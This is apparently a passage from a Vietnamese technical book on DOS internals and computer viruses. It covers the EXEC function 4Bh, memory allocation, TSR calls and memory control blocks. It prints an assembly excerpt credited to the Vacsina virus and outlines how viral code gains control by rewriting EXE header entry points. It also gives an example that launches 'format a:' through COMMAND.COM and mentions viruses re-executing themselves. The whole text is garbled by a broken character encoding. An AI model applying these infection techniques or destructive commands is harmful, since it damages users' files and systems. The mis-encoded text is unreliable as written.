 mov  CX, ptr word [106]   ;Sè item cÇn ®Þnh vÞ l¹i 
;B¾t ®Çu ®Þnh vÞ 
Next_Item: 
  jcxz  ok 
 lds  SI, [DI+100h]    ;LÊy i_Reg vµ i_Off 
 add  DL, 4     ;DI trá ®Ðn item kÕ tiÕp 
 mov  BP, DS  
 add  BP, ptr word [1C8h]   ;BP = i_Seg 
 add  BP, AX      ;BP = i_Seg + Start_Seg 
  mov  DS, BP     ;Gi¸ trÞ t¹i Relo_seg:  i_Off 
 add  ptr word [si], AX   ;sÏ ®−îc céng thªm Start_Seg 
  loop  Next_item 
  pop  CS  
 pop  DS  
; Dêi toµn bé ch−¬ng tr×nh tõ vi trÝ sau header lªn offfset 100h 
  mov  DI, 0100 
 mov  SI, DX     ;SI = kÝch th−íc header 
  add  SI, 01C0     ;§iÒu chØnh t−¬ng øng víi file .COM 
 mov  CX, BX      ;CX = BX - SI = kÝch th−íc  ch−¬ng tr×nh 
  sub   CX, SI     ;§o¹n m� ®iÒu chØnh = kÝch th−íc ch−¬ng tr×nh 
rep  movsb 
 pop  AX 
 cli 
 mov  SS, ptr word [BX-5]   ;T¹o stack 
  mov  SP, ptr word [BX-5] 
 sti 
  jmp  far [BX-0B] 
   (TrÝch Vacsina virus) 
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 + §iÒu chØnh .EXE header ®Ó trá ®Õn mét ®o¹n m� kh¸c sau ch−¬ng tr×nh: thñ thuËt nµy 
t−¬ng ®èi ®¬n gi¶n, ®−îc ¸p dông ®Ó giµnh quyÒn ®iÒu khiÓn tr−íc khi trao cho ch−¬ng tr×nh. 
C¸c b−íc ®Ó tiÕn hµnh nh− sau : 
TÝnh kÝch th−íc file ®Ó “g¾n “phÇn m� vµo (b»ng nhiÒu c¸ch). 
§iÒu chØnh tham sè trong .EXE header (chñ yÕu sÏ lµ CS:IP, SS:SP) trá ®Õn ®o¹n m� nµy 
VÝ dô minh häa cho c¸ch nµy sÏ ®−îc tr×nh bµy ë ch−¬ng sau, phÇn kÜ thuËt cña F-virus l©y lan 
trªn file .EXE. 
 
      4/Chøc n¨ng .EXEC (tæ chøc thi hµnh file): Sau khi 2 file hÖ thèng ®−îc n¹p lªn, nã sÏ 
dïng chøc n¨ng 4B ®Ó thi hµnh file COMMAND.COM (nÕu kh«ng cã lÖnh SHELL chØ ®Õn 
mét file kh¸c trong CONFIG.SYS). §Õn l−ît m×nh COMMAND sÏ ph©n tÝch dßng lÖnh ®−a 
vµo, nÕu ®ã lµ tªn mét file thi hµnh ®−îc cã trªn ®Üa, nã sÏ dïng chÝnh chøc n¨ng 4B ®Ó thi 
hµnh mét lÇn n÷a  ! 
Chøc n¨ng 4B cho phÐp mét ch−¬ng tr×nh (ch−¬ng tr×nh mÑ)  t¶i mét ch−¬ng tr×nh kh¸c 
(ch−¬ng tr×nh con) vµo vïng nhí vµ thi hµnh nã. Sau khi ch−¬ng tr×nh con hoµn tÊt, quyÒn ®iÒu 
khiÓn sÏ ®−îc tr¶ vÒ cho ch−¬ng tr×nh mÑ. 
Ch−¬ng tr×nh mÑ cã thÓ chuyÓn tham sè cho ch−¬ng tr×nh con b»ng c¸ch truyÒn tham sè nh− 
trªn dßng lÖnh, trong FCB, hay b»ng chuçi ASCIIZ trong khèi tham sè m«i tr−êng EPB. 
Ch−¬ng tr×nh con, khi ®� ®−îc trao quyÒn ®iÒu khiÓn sÏ thõa h−ëng tÊt c¶ c¸c file ®−îc më 
trong ch−¬ng tr×nh mÑ, mäi thay ®æi sau ®ã cña ch−¬ng tr×nh con ®Òu ¶nh h−ëng ®Õn ch−¬ng 
tr×nh mÑ. 
Kh«ng nh− mét sè ng−êi mong ®îi, DOS sÏ dõng viÖc thi hµnh ch−¬ng tr×nh mÑ cho ®Õn khi 
nµo ch−¬ng tr×nh con chÊm døt vµ quyÒn ®iÒu khiÓn tr¶ vÒ cho ch−¬ng tr×nh mÑ. §Ó cã thÓ 
t¨ng c−êng kh¶ n¨ng giao tiÕp, DOS cho phÐp ch−¬ng tr×nh con tr¶ l¹i m� ra (exit code) cho 
ch−¬ng tr×nh mÑ, nh»m th«ng b¸o cho ch−¬ng tr×nh mÑ biÕt t×nh tr¹ng ho¹t ®éng cña ch−¬ng 
tr×nh con. 
a. Tham sè chøc n¨ng 4B:  Gåm 2 chøc n¨ng con:  t¶i vµ thi hµnh hoÆc t¶i mµ kh«ng thi hµnh. 

      Vµo : 
  AH = 4Bh 
  AL = 0:  t¶i vµ thi hµnh ch−¬ng tr×nh 
           3 : t¶i nh−ng kh«ng thi hµnh ch−¬ng tr×nh. 
  DS:DX:  Tªn file cÇn thi hµnh, d¹ng ASCIIZ 
  ES:BX:  §Þa chØ cña EBP. 
      Ra : 
  AX = m� lçi nÕu CF = 1. 
       C¸c thanh ghi DS,  Stack cã thÓ bÞ thay ®æi (do ®ã nªn cÊt gi÷ c¸c thanh ghi cÇn thiÕt 
tr−íc khi gäi chøc n¨ng nµy). 
V× ch−¬ng tr×nh mÑ cã thÓ qu¶n lý toµn bé vïng nhí (nhÊt lµ tr−êng hîp file .COM) nªn ®Ó thi 
hµnh mét ch−¬ng tr×nh con, ch−¬ng tr×nh mÑ nªn tu©n thñ mét sè c¸c b−íc sau : 
     + V× ch−¬ng tr×nh mÑ t¹m thêi kh«ng dïng ®Õn vïng nhí n÷a, cã thÓ gi¶m sè vïng nhí 
mµ nã cÇn b»ng c¸ch dïng chøc n¨ng 4Ah víi ES = PSP hiÖn hµnh, BX = sè vïng nhí cÇn 
thiÕt cña ch−¬ng tr×nh mÑ. 
 + ChuÈn bÞ chuçi ASCIIZ  chøa tªn file cÇn thi hµnh, vµ DS:DX chøa ®Þa chØ cña x©u nµy. 
§iÒu cÇn l−u ý tªn file ph¶i bao gåm lu«n c¶ phÇn më réng chø kh«ng ®¬n gi¶n nh− tªn file 
®¸nh ë dÊu nh¾c cña DOS (lóc nµy DOS sÏ tù ®éng ®i t×m nh÷ng file cã cïng tªn, nh−ng phÇn 
më réng sÏ lµ .COM, .EXE, .BAT ®Ó thi hµnh). 
 + ChuÈn bÞ EBP chøa c¸c tham sè cÇn thiÕt, trá ES:BX ®Õn khèi tham sè nµy. 
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 + CÊt gi÷ c¸c gi¸ trÞ cña Stack, DTA, DS vµ ES trong c¸c biÕn cã thÓ ®−îc tham chiÕu ®Õn 
b»ng CS (®Ó dÔ kh«i phôc l¹i khi lÊy l¹i quyÒn ®iÒu khiÓn). 
 + Thi hµnh chøc n¨ng 4B víi m� thi hµnh t−¬ng øng. 
 + Sau khi lÊy l¹i quyÒn ®iÒu khiÓn (nÕu AL = 0), kh«i phôc l¹i Stack, c¸c thanh ghi cÇn 
thiÕt kh¸c. 
 + KiÓm tra m� lçi ®Ó x¸c ®Þnh chøc n¨ng nµy ®� ®−îc thi hµnh hay ch−a. 
 + Kh«i phôc DTA nÕu cÇn thiÕt . 
 + LÊy m� ra (exit code) ®Ó xem m� kÕt qu¶ thi hµnh cña ch−¬ng tr×nh con. 
b. Ph©n tÝch tham sè cña chøc n¨ng 4B:  Th«ng th−êng, chøc n¨ng t¶i vµ thi hµnh file ®−îc 
dïng nhiÒu nhÊt, víi ph¹m vi cña cuèn s¸ch nµy chóng ta chØ bµn ®Õn chøc n¨ng t¶i vµ thi 
hµnh . 
 + Tªn file:  Ph¶i ®−îc chØ ®Þnh mét c¸ch t−êng minh, nghÜa lµ kh«ng ®−îc dïng kÝ tù * vµ 
? ®Ó thay thÕ, vµ ph¶i bao gåm c¶ phÇn më réng cña tªn file. §iÒu nµy lµm cho mét ng−êi gÆp 
lçi khi dïng ®Õn chøc n¨ng nµy v× ®¬n gi¶n hä t−ëng chøc n¨ng 4B sÏ tù ®éng ®i t×m tªn file 
chØ ®Þnh vµ thi hµnh, tiÕc thay, ®iÒu nµy chØ cã phÇn m� lÖnh néi tró cña COMMAND.COM 
lµm thay cho b¹n. 
 + EBP  (.EXEc parameter block):  Khèi tham sè EBP lµ mét cÊu tróc cung cÊp cho DOS 
nh÷ng th«ng tin cÇn thiÕt vÒ m«i tr−êng, vÒ dßng tham sè truyÒn ECB ...., t¹o ®iÒu kiÖn thuËn 
lîi cho DOS tæ chøc m«i tr−êng lµm viÖc cho file chØ ®Þnh. 
 CÊu tróc cña khèi nµy nh− sau:  
      offset     size   néi dung   
  +0  2  Segment cña m«i tr−êng con (0000 = thõa h−ëng  
      Env parm cña ch−¬ng tr×nh con 
 +2  4  offfset segment §Þa chØ cña dßng lÖnh ®Æt ë PSP :80h 
 +6  4  offfset segment §Þa chØ cña FCB ®Æt ë PSP:  5Ch  
 +0Ah 4  offfset segment §Þa chØ cña FCB ®Æt ë PSP:  6Ch 
CÊu tróc nµy, thùc tÕ ®−îc DOS dïng ®Ó tæ chøc PSP cho ch−¬ng tr×nh b»ng c¸ch copy c¸c 
thµnh phÇn t−¬ng øng vµo PSP cña ch−¬ng tr×nh con. Ta sÏ kh¶o s¸t tõng vïng mét trong cÊu 
tróc nµy. 
 + Tham sè vÒ m«i tr−êng: Mçi ch−¬ng tr×nh ®−îc t¶i bëi chøc n¨ng 4B ®Òu ®−îc thõa 
h−ëng mét cÊu tróc d÷ liÖu gäi lµ m«i tr−êng cña ch−¬ng tr×nh mÑ. Con trá trá ®Õn segment 
cña m«i tr−êng ë offset 2C trong PSP . CÊu tróc nµy Ýt ®−îc ai dïng ®Õn, chØ cã 
COMMAND.COM lµ dïng. 
NÕu muèn, ng−êi sö dông cã thÓ bæ sung, t¹o mét m«i tr−êng míi. NÕu gi¸ trÞ cña con trá tíi 
khèi m«i tr−êng b»ng 0, ch−¬ng tr×nh con sÏ thõa h−ëng m«i tr−êng cña ch−¬ng tr×nh mÑ, 
ng−îc l¹i, gi¸ trÞ cña con trá nµy lµ segment cña mét khèi m«i tr−êng míi. Tuy nhiªn, cÇn ph¶i 
chó ý kÝch th−íc cña m«i tr−êng kh«ng ®−îc v−ît qu¸ 32 Kb. 
M«i tr−êng cho mét ch−¬ng tr×nh lµ tÜnh, nghÜa lµ nÕu cã nhiÒu ch−¬ng tr×nh th−êng tró trong 
RAM, th× mçi ch−¬ng tr×nh cã thÓ cã riªng mét khèi m«i tr−êng vµ ®éc lËp víi nhau, néi dung 
cña c¸c khèi nµy kh«ng ®−îc cËp nhËt nÕu sau ®ã lÖnh PATH hay SET ®−îc thùc hiÖn. 
 + Dßng lÖnh:  DOS copy dßng tham sè nµy vµo PSP cña ch−¬ng tr×nh con ë offfseet 081 
(®� ®−îc m« t¶ trong phÇn PSP), d¹ng cña dßng tham sè nµy còng cÇn ph¶i chó ý:  b¾t ®Çu 
b»ng mét byte chØ sè byte cña dßng lÖnh, theo sau lµ d�y m� ASCII vµ chÊm døt b»ng m� 
xuèng dßng 0Dh, dÊu xuèng dßng kh«ng ®−îc kÓ vµo sè l−îng byte. 
 + FCB ngÇm ®Þnh:  DOS copy 2 FCB ngÇm ®Þnh ®−îc chØ ra bëi 2 tham sè cuèi b¶ng EBP 
vµo PSP cña ch−¬ng tr×nh con ë offfset 05C vµ 06C. §Ó c¹nh tranh víi chøc n¨ng cña 
COMMAND.COM, ch−¬ng tr×nh mÑ nªn dïng chøc n¨ng 29h cña DOS ®Ó ph©n tÝch 2 tham 
sè ®Çu cña dßng lÖnh vµo FCB tr−íc khi gäi chøc n¨ng 4Bh. 
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FCB râ rµng kh«ng ®−îc dïng réng r�i d−íi DOS version 2 vµ 3 v× chóng kh«ng tiÖn cho cÊu 
tróc ph©n cÊp, tuy nhiªn, trong mét sè ch−¬ng tr×nh øng dông cã thÓ dïng chóng ®Ó lÊy tham 
sè trªn dßng lÖnh. 
c. Lçi thi hµnh:  Th«ng th−êng, ng−êi sö dông ¸p dông chøc n¨ng 4B hay gÆp lçi mµ kh«ng 
biÕt râ nguyªn nh©n. Sau ®©y lµ mét sè nguyªn nh©n mµ ng−êi sö dông hay m¾c ph¶i : 
 + Kh«ng ®ñ vïng nhí ®Ó thi hµnh. Lçi nµy x¶y ra khi ng−êi sö dông quªn kh«ng ®Æt l¹i 
vïng nhí tr−íc khi thi hµnh . 
 + Kh«ng t×m thÊy file. Lçi nµy còng th−êng hay x¶y ra khi ng−êi dïng kh«ng chØ ®Þnh râ 
æ ®Üa chøa file, phÇn më réng cña file v× lÇm t−ëng DOS sÏ “tù “lµm viÖc ®ã. 
 + Khi thi hµnh xong ch−¬ng tr×nh con, m¸y th−êng bÞ halt. Lçi nµy x¶y ra khi ch−¬ng 
tr×nh con ®� thay ®æi Stack, hay thay ®æi mét sè thanh ghi ph©n ®o¹n.... ®Ó tr¸nh nh÷ng ®iÒu 
nµy cã thÓ tiÕn hµnh tuÇn tù c¸c b−íc ®� ®−îc nªu trªn. 
d. Mét sè nhËn xÐt lý thó: 

 + Chøc n¨ng nµy dïng phÇn t¶i (loader portion) cña COMMAND.COM, phÇn nµy lu«n 
n»m ë vïng nhí cao, kh«ng th−êng tró vµ do ®ã rÊt dÔ ch−¬ng tr×nh kh¸c ®Ì lªn. Do ®ã, nhiÒu 
khi COMMAND.COM cÇn ph¶i ®−îc t¶i l¹i, viÖc thay ®æi ®Üa mÒm (nÕu ®Æt 
COMMAND.COM ë ®ã) còng ®«i khi g©y nhiÒu phiÒn to¸i. 
 + Nh− ®� biÕt, cã thÓ chØ ra tªn file cÇn thi hµnh ë DS:DX tuy nhiªn c¸ch nµy cã nh−îc 
®iÓm : 
Ta ph¶i tù ph©n tÝch FCB (mÆc dï b©y giê kh«ng cßn cÇn thiÕt n÷a). 
Kh«ng tù dïng PATH ®Ó t×m file nªn ®«i lóc kh«ng thÓ x¸c ®Þnh xem file n»m ë ®©u. 
Do ®ã, cã thÓ cho DOS tù lµm ®iÒu nµy b»ng c¸ch:  dïng COMMAND.COM ®Ó thi hµnh file 
víi tham sè vµo lµ tªn file cña chóng ta! Lóc nµy, DOS sÏ tù m×nh t×m kiÕm file vµ sÏ thi hµnh 
nÕu nã t×m thÊy file (chó ý: ®Ó thi hµnh COMMAND.COM ph¶i dïng víi tham sè /c) 
§o¹n ch−¬ng tr×nh sau sÏ minh häa c¸ch dïng COMMAND.COM ®Ó thi hµnh file 
Format.com cña DOS . 
; T¹o EBP  
mov  AX, CS 
mov  seg_cmd, AX  
mov  seg_FCB1, AX 
mov  seg_FCB2, AX 
mov   AX, 04B00 
mov  BX, offset EBP  
mov  DX, offset filename 
int  21h 
.................. 
 filename db ‘\COMMAND.COM’, 0 
 EBP  dw 0   ;thõa h−ëng m«i tr−êng  
 off_cmd  dw offfset Cmd_line 
 seg_cmd dw 0 
 off_FCB1 dw 05C 
 seg_FCB1 dw 0 
 off_FCB2 dw 06C 
 seg_FCB2 dw 0 
 cmd_line db 0Eh, ’/c format a: /s/4’, 0Dh 
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 + Mét kÜ thuËt kh¸c còng kh«ng kÐm phÇn thó vÞ:  Ch−¬ng tr×nh mÑ thi hµnh ch−¬ng tr×nh 
con lµ chÝnh nã. §iÒu nµy cã thÓ khã thùc hiÖn ®−îc v× tªn ch−¬ng tr×nh mÑ kh«ng cè ®Þnh 
(ng−êi dïng cã thÓ ®æi tªn bÊt k× lóc nµo) vµ nhÊt lµ sÏ gÆp tr−êng hîp gäi lång nhau khi 
ch−¬ng tr×nh con mét lÇn n÷a cã thÓ l¹i gäi chÝnh nã. 
§iÒu nµy cã thÓ gi¶i quyÕt b»ng c¸ch: 
Dß trong m«i tr−êng dÓ t×m tªn file (kÜ thuËt nµy ®−îc tr×nh bµy trong phÇn PSP) 
 T¹o EBP t−¬ng øng 
 T¹o dÊu hiÖu nhËn d¹ng ®Ó lÇn thi hµnh sau rÏ nh¸nh sang t¸c vô kh¸c h¬n lµ l¹i thi hµnh 
tiÕp mét møc n÷a. 
B¹n cã thÓ tù m×nh thiÕt kÕ mét ch−¬ng tr×nh nh− thÕ nµy vµ thùc tÕ mét sã lo¹i virus còng ®� 
lµm. 
 
 

II - Tæ chøc vµ qu¶n lý vïng nhí. 

  TÊt c¶ nh÷ng ®iÒu mµ DOS tæ chøc vµ thi hµnh file ®Òu cã mét nÐt chung:  file ®−îc t¶i vµo 
vïng nhí. Nh− vËy, c©u hái ®−îc ®Æt ra:  râ rµng DOS ph¶i tæ chøc vïng nhí nh− thÕ nµo ®ã 
®Ó cã thÓ thi hµnh file ? 
MÆc dï DOS ®� ®−a ra c¸c chøc n¨ng cho phÐp thao t¸c trªn vïng nhí mµ thùc tÕ còng ®� qu¸ 
®ñ cho c¸c nhµ th¶o ch−¬ng. Tuy nhiªn, biÕt c¸ch tæ chøc vïng nhí cña DOS còng lµ ®iÒu cÇn 
biÕt trong mçi chóng ta. 
C¸c version hiÖn nay cña DOS cã thÓ qu¶n lý ®Õn 1Mb vïng nhí. Trªn c¸c m¸y PC vµ t−¬ng 
thÝch, vïng nhí do DOS qu¶n lý b¾t ®Çu ë ®Þa chØ 00000h vµ ®¹t tíi ®Þa chØ cao nhÊt (nÕu cã 
thÓ ®−îc) lµ 00FFFFh. Vïng nhí 640Kb nµy ®«i khi cßn ®−îc gäi lµ vïng nhí quy −íc 
(Conventional memory). TÊt c¶ c¸c vïng nhí trªn ®Þa chØ nµy th−êng dïng cho ROM mµn 
h×nh, ®Üa ....  

 1/ Ph©n lo¹i: Vïng RAM n»m trong quyÒn ®iÒu khiÓn cña DOS ®−îc chia thµnh hai phÇn 
chÝnh. 
a. PhÇn hÖ ®iÒu hµnh: B¾t ®Çu tõ ®Þa chØ thÊp nhÊt 00000h, nghÜa lµ nã bao gåm c¶ b¶ng 
vector ng¾t, hÖ ®iÒu hµnh vµ c¸c buffer cña nã (thùc chÊt lµ phÇn lín hai file hÖ thèng IO.SYS 
vµ MSDOS.SYS nÕu lµ MSÝDOS), device driver ®−îc khai b¸o trong config.sys, phÇn th−êng 
tró cña  COMMAND.COM. PhÇn vïng hÖ ®iÒu hµnh nµy cã kÝch th−íc kh«ng x¸c ®Þnh vµ 
thay ®æi tïy theo c¸c version, sè l−îng device driver. 
b. PhÇn ch−¬ng tr×nh t¹m thêi:  §«i khi cßn ®−îc gäi lµ vïng nhí ho¹t ®éng (memory arena), 
lµ phÇn vïng nhí ngay sau vïng nhí hÖ ®iÒu hµnh vµ ®¹t ®Õn ®Þa chØ cao nhÊt cã thÓ . Vïng 
nµy ®−îc tæ chøc thµnh tõng khèi t¹o thµnh mét chuçi. C¸c file ®−îc t¶i lªn trong vïng nµy ®Ó 
thi hµnh do ®ã chØ nã chØ mang tÝnh t¹m thêi. 
    S¬ ®å sau tãm t¾t cÊu tróc vïng nhí: 
 

Address Name                                            Description 

0000 0000 B¶ng vector ng¾t: 256*4 byte ®Þa chØ 

0040 0000 Vïng d÷ liÖu ROM-BIOS 

0050 0000 Vïng d÷ liÖu DOS  

xxxx 0000 M� vµo ra cña DOS ë møc thÊp (tõ file IO.SYS trªn ®Üa) 

xxxx 0000 M� ®iÒu khiÓn ng¾t DOS (tõ 20 (3F trªn file MSDOS.SYS) 

xxxx 0000 Buffer cña DOS, vïng d÷ liÖu vµ c¸c device driver 

xxxx 0000 PhÇn th−¬ng tró cña COMMAND.COM bao gåm phÇn m� ®iÒu 
khiÓn ng¾t 22h, 21h, 24h 
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xxxx 0000 C¸c ch−¬ng tr×nh th−êng tró (TRS) vµ d÷ liÖu 

xxxx 0000 C¸c ch−¬ng tr×nh ®−îc load lªn ë ®©y 

xxxx 0000 PhÇn t¹m thêi cña COMMAND.COM . PhÇn nµy sÏ t¶i l¹i nÕu bÞ 
ch−¬ng tr×nh kh¸c ghi ®Ì lªn 

 

 2/ C¸c chøc n¨ng liªn quan ®Õn vïng nhí cña DOS. 

a. Chøc n¨ng qu¶n lý:  Gåm c¸c chøc n¨ng cÊp ph¸t, gi¶i phãng vµ ®iÒu chØnh kÝch th−íc bé 
nhí. 
 + CÊp ph¸t vïng nhí : 
 Vµo    AH = 48h 
  BX = kÝch th−íc vïng nhí cÇn cÊp ph¸t (tÝnh theo ®o¹n) 
 Ra NÕu CF=1, AX chøa m� lçi vµ BX lµ sè vïng nhí tèi ®a cßn l¹i cßn dïng ®−îc . 
  NÕu CF=0, AX chÝnh lµ segment cña vïng nhí mµ DOS cÊp ph¸t theo yªu cÇu. 
Ngoµi chøc n¨ng xin cÊp ph¸t, cã thÓ biÕt vïng nhí cßn l¹i bao nhiªu nÕu cè t×nh t¹o lçi khi 
yªu cÇu cÊp ph¸t mét l−îng vïng nhí qu¸ lín. 
§o¹n ch−¬ng tr×nh sau cho phÐp lÊy gi¸ trÞ (tÝnh theo ®o¹n) cña vïng nhí cßn dïng ®−îc  
; Gi¶ sö kÝch th−íc cÇn lµ 0100 ®o¹n 
  mov  AH, 048h 
  mov  BX, 0FFFFh 
 int  21h 
  cmp  BX, 01000 ; So s¸nh víi kÝch th−íc cÇn 
............... 
 + Gi¶i phãng vïng nhí:  Khi vïng nhí xin cÊp ph¸t kh«ng cßn ®−îc dïng ®Õn, nªn dïng 
chøc n¨ng nµy ®Ó gi¶i phãng . Khi ch−¬ng tr×nh chÊm døt, quyÒn ®iÒu khiÓn thuéc vÒ DOS 
(nÕu ch−¬ng tr×nh ®−îc thi hµnh ë møc DOS), nã còng sÏ dïng chøc n¨ng nµy ®Ó gi¶i phãng 
vïng nhí mµ ch−¬ng tr×nh ®� xin cÊp ph¸t. 
 Vµo:  AH = 49h 
   ES = Segment cña vïng nhí cÇn gi¶i phãng 
 Ra:  AX = m� lçi nÕu CF = 1 
Mét øng dông quan träng ®Ó mét ch−¬ng tr×nh x¸c ®Þnh cßn bao nhiªu vïng nhí (kÓ c¶ 
ch−¬ng tr×nh ®ã) ch−a dïng ®Õn lµ thi hµnh chøc n¨ng gi¶i phãng vïng nhí tr−íc khi thi hµnh 
kÜ thuËt x¸c ®Þnh vïng nhí trªn. 
 + §iÒu chØnh kÝch th−íc vïng nhí: tr−íc khi dïng chøc n¨ng 4B dÓ thi hµnh ch−¬ng tr×nh 
nµo ®ã, ®iÒu tr−íc tiªn lµ ph¶i ®iÒu chØnh l¹i kÝch th−íc vïng nhí . 
 Vµo:  AH = 04Ah  
   ES = segment cña khèi vïng nhí cÇn ®iÒu chØnh 
  BX = kÝch th−íc yªu cÇu ®iÒu chØnh 
 Ra:  AX lµ m� lçi nÕu CF = 1, lóc ®ã BX lµ khèi lín nhÊt cßn dïng ®−îc 

   b.Chøc n¨ng th−êng tró:  Th«ng th−êng, mét ch−¬ng tr×nh chÊm døt, quyÒn ®iÒu khiÓn sÏ 
®−îc trao l¹i cho DOS, lóc nµy, mäi vïng nhí ®−îc cÊp ph¸t cho ch−¬ng tr×nh sÏ ®−îc gi¶i 
phãng, do ®ã, bÊt k× mét phÇn mÒm nµo ®−îc t¶i lªn ngay sau ®ã sÏ ®Ì lªn ch−¬ng tr×nh võa 
råi. Tuy nhiªn, ®èi víi mét sè phÇn mÒm cã yªu cÇu kÝch ho¹t tøc thêi nÕu cÇn, th× buéc phÇn 
mÒm nµy ph¶i n»m th−êng tró trong RAM vµ kh«ng bÞ bÊt k× mét phÇn mÒm nµo kh¸c ghi ®Ì. 
§Ó thùc hiÖn ®iÒu nµy, DOS ®� cung cÊp h¬i thõa chøc n¨ng cho c¸c th¶o ch−¬ng viªn. Cã tíi 
2 chøc n¨ng ®Ó lµm ®iÒu nµy.§ã lµ : 
 + Ng¾t 27 : 
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 Vµo:  DX = ®Þa chØ cuèi cung (offset) cña ®o¹n ch−¬ng tr×nh cÇn th−êng tró, 
segment sÏ ®−îc tÝnh theo PSP. 
 Ra:  Kh«ng 
Râ rµng, chøc n¨ng nµy bÞ giíi h¹n (mÆc dï Ýt ai ®¹t tíi giíi h¹n nµy) v× DX chØ cã thÓ ®¹t 
®−îc gi¸ trÞ lín nhÊt lµ 0FFFFh, nghÜa lµ chØ cã thÓ th−êng tró ®−îc mét kÝch th−íc 64 Kb. §Ó 
kh¾c phôc ®iÒu nµy, DOS ®� ®Ò nghÞ thªm chøc n¨ng 31 cña ng¾t 21h. 
 + ChÊm døt ch−¬ng tr×nh vµ th−êng tró (Terminal and Stay Resident - TSR) 
 Vµo:  AH = 31h 
   AL = m� ra (exit code) 
  DX = kÝch th−íc vïng nhí cÇn th−êng tró (tÝnh theo ®o¹n) 
 Ra:  Kh«ng 
Chøc n¨ng nµy kh¾c phôc nh−îc ®iÓm cña ng¾t 27, kh¶ n¨ng th−êng tró cña ch−¬ng tr×nh ®¹t 
tíi tèi ®a 1Mb (ch¾c ch¾n kh«ng cã ch−¬ng tr×nh nµo ®¹t tíi c¶), cho phÐp chuyÓn m� ra cho 
ch−¬ng tr×nh mÑ th«ng b¸o cho biÕt t×nh tr¹ng thi hµnh cña ch−¬ng tr×nh con. B¾t ®Çu tõ 
version 3.xx, ng¾t 27 cña DOS thùc chÊt chØ lµ mét biÕn d¹ng cña chøc n¨ng 31, nghÜa lµ nÕu 
ng¾t 27 ®−îc gäi, nã sÏ tiÕn hµnh ®æi gi¸ trÞ offset ra ®o¹n råi gäi chøc n¨ng 21 cña ng¾t 21h 
víi m� lçi 0. 
 + Gi¶ th−êng tró: Chøc n¨ng th−êng tró ®−îc nhiÒu ng−êi sö dông h−ëng øng nhiÖt liÖt, 
tuy nhiªn sau mét thêi gian dµi sö dông, mét ch−¬ng tr×nh th−êng tró trë nªn cång kÒnh trong 
vïng nhí mét khi kh«ng cßn dïng ®Õn n÷a. §Ó gi¶i quyÕt, mét sè phÇn mÒm ®� cho phÐp gi¶i 
phãng vïng nhí, tuy nhiªn, nÕu vïng nhí trªn nã ®� bÞ mét ch−¬ng tr×nh th−êng tró kh¸c sö 
dông th× viÖc gi¶i phãng nµy thùc chÊt còng kh«ng cÇn thiÕt. Do ®ã, ®ßi hái ch−¬ng tr×nh 
th−êng tró ®ã ph¶i lµ ch−¬ng tr×nh th−êng tró sau cïng trong vïng nhí . ChÝnh v× ®iÒu nµy, 
mét ph−¬ng ph¸p kh¸c do ng−êi sö dông ®Ò nghÞ vµ còng ®−îc ¸p dông nhiÒu ngay sau ®ã. 
Ph−¬ng ph¸p nµy t−¬ng tù nh− chøc n¨ng OS  Shell cña mét sè phÇn mÒm. NghÜa lµ thùc chÊt 
cña ph−¬ng ph¸p nµy lµ sö dông chøc n¨ng 4B ®Ó thi hµnh COMMAND.COM mét lÇn n÷a sau 
khi ®� khëi t¹o c¸c ng¾t cÇn thiÕt cho c¸c phÝm hotkey. B¶ng copy lÇn 2 nµy sÏ thi hµnh b×nh 
th−êng c¸c lÖnh, ch−¬ng tr×nh cña ng−êi sö dông nh− ë dÊu nh¾c ®îi lÖnh (dÊu nh¾c ®îi lÖnh 
còng tõ COMMAND.COM mµ ra). Trong khi phÇn mÒm tr−íc ®ã vÉn tån t¹i trong vïng nhí 
®Ó chê tr¶ quyÒn ®iÒu khiÓn. ViÖc gi¶ th−êng tró sÏ kÕt thóc nÕu ng−êi sö dông thi hµnh lÖnh 
EXIT trªn dÊu nh¾c ®îi lÖnh. PhÇn vÝ dô nµy, c¸c b¹n cã thÓ xem trong phÇn minh häa cho 
chøc n¨ng 4B. 

 3/ CÊu tróc vïng nhí MCB (memory control block): Nh− ®� biÕt, phÇn vïng nhí t¹m 
thêi ®−îc tæ chøc thµnh tõng khèi, mçi khèi ®−îc qu¶n lý b»ng mét cÊu tróc ®Çu khèi gäi lµ 
MCB (hay cßn gäi lµ arena header). 
Thùc chÊt, c¸c chøc n¨ng vÒ vïng nhí ®� kh¶o s¸t ë trªn (gi¶i phãng, xin cÊp ph¸t vïng nhí 
v.v..) ®Òu ®−îc DOS tiÕn hµnh hiÖu chØnh trªn chuçi c¸c MCB nµy. §èi víi mét sè ng−êi, thi 
hµnh trùc tiÕp “b»ng tay “trªn c¸c MCB nµy lý thó h¬n nhiÒu vµ phãng kho¸ng h¬n lµ dïng 
c¸c chøc n¨ng cña DOS ®Ó gi¶i quyÕt ®−îc. C¸c vÊn ®Ò ®ã còng sÏ ®−îc chóng ta kh¶o s¸t sau. 
a. CÊu tróc MCB:  MCB cã kÝch th−íc ®óng b»ng 1 ®o¹n (Paragraph) 16 byte ngay tr−íc vïng 
nhí mµ nã qu¶n lý. Néi dung cña c¸c tham sè trong cÊu tróc nµy ®−îc biÕt nh− sau: 
    offset       size néi dung 
  0        1 ID  Byte nhËn diÖn lo¹i cña MCB 
 1  2 PSP  PSP cña MCB  
 3  2 Size  KÝch th−íc vïng nhí mµ MCB qu¶n lÝ 
 5  0B Unused Kh«ng dïng ®Õn 
ID lµ byte nhËn diÖn xem MCB nµy cã ph¶i lµ MCB cuèi cïng cña chuçi hay ch−a. NÕu ch−a 
lµ cuèi chuçi, byte cã gi¸ trÞ 04D, ng−îc l¹i sÏ cã gi¸ trÞ 05A. 
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PSP:  Cho biÕt vïng nhí ®−îc MCB qu¶n lý hiÖn cßn trèng hay ®ang ®−îc dïng cho ch−¬ng 
tr×nh nµo. NÕu gi¸ trÞ 0 cã nghÜa ch−a cã ch−¬ng tr×nh nµo sö dông, ng−îc l¹i nã lµ gi¸ trÞ PSP 
cña ch−¬ng tr×nh xin cÊp ph¸t (còng chÝnh lÝ do nµy DOS sÏ biÕt vïng nhí nµo lµ cña ch−¬ng 
tr×nh võa chÊm døt vµ gi¶i phãng nã khi DOS ®−îc trao quyÒn). 
Size: Lµ kÝch th−íc (theo ®o¹n) cña khèi vïng nhí mµ MCB qu¶n lÝ. 
Gi¶ sö nÕu ch−¬ng tr×nh lµ ch−¬ng tr×nh TSR trong RAM do MCB1 qu¶n lÝ, ch−¬ng tr×nh 2 
®−îc t¶i vµo trong MCB2, ch−¬ng tr×nh nµy xin cÊp ph¸t vïng nhí sÏ do MCB3 qu¶n lÝ, vïng 
nhí cßn l¹i do MCB4 qu¶n lý. Ta sÏ cã s¬ ®å sau: 
 
  

           Vïng nhí do MCB4 qu¶n lý 

